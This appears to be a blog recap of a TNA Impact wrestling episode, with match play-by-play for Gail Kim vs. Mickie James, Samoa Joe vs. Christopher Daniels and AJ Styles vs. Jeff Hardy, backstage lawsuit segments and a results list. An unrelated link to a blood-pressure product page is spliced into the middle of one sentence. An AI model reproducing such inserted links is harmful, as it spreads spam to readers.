Bound For Glory Series: Hernandez vs. Mr. Anderson

Dixie has nothing to say about the lawsuit.

Knockouts Title: Gail Kim vs. Mickie James

Feeling out process to start with Mickie kicking away in the corner but getting dropkicked down for two. The running cross body to the ribs in the corner has Mickie in trouble but she kicks Gail off the apron to get a breather. Gail tries to pull Mickie into the Figure Four around the post but Mickie kicks her away and hits the Thesz Press off the apron.

Back in and a flapjack puts Gail down but she still tries the spinning octopus hold. Neither girl can hook a leg lock and Gail http://onhealthy.net/product-category/blood-pressure/ gets caught trying to cheat on a rollup. Mickie is sent to the floor as Gail and ODB get in an argument in the ring. Gail slaps ODB and the distraction lets Mickie roll Kim up for the pin at 7:05.

Brooke Hogan comes out to make ODB vs. Gail, presumably for next week.

Dixie and Hogan debate the lawsuit.

Bound For Glory Series: Samoa Joe vs. Christopher Daniels

Tenay says Daniels has never beaten Joe one on one, which is true as far as I remember. Joe pounds him down to start and hits the Facewash in the corner but gets sent throat first into the ropes. A clothesline puts Joe down and Daniels hooks a headscissors to choke on the ropes. We hit the chinlock for a few seconds but Joe fights up and hits his big boot to the chest and the backsplash for two.

Sting and Angle talk about the lawsuit and agree Ray needs to be kept isolated.

Bound For Glory Series: AJ Styles vs. Jeff Hardy

AJ hits a few shoulder blocks to start but Jeff takes it into the corner for the slingshot dropkick. Back with AJ kicking Hardy into the announce table before going back inside for a chinlock. Styles throws him back to the floor and slams him on the mat before putting the chinlock back on. Jeff fights up and hits a falling powerbomb to put both guys down. Back up and AJ hits his drop down/dropkick sequence for the first time in months.

Hulk has made a decision and Dixie agrees with him.

Results

Manik b. Greg Marisculo and Sonjay Dutt – Manik pulled down the title

Mr. Anderson b. Hernandez – Mic Check

Mickie James b. Gail Kim – Rollup

Christopher Daniels b. Samoa Joe – BME

AJ Styles b. Jeff Hardy – Calf Killer

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at: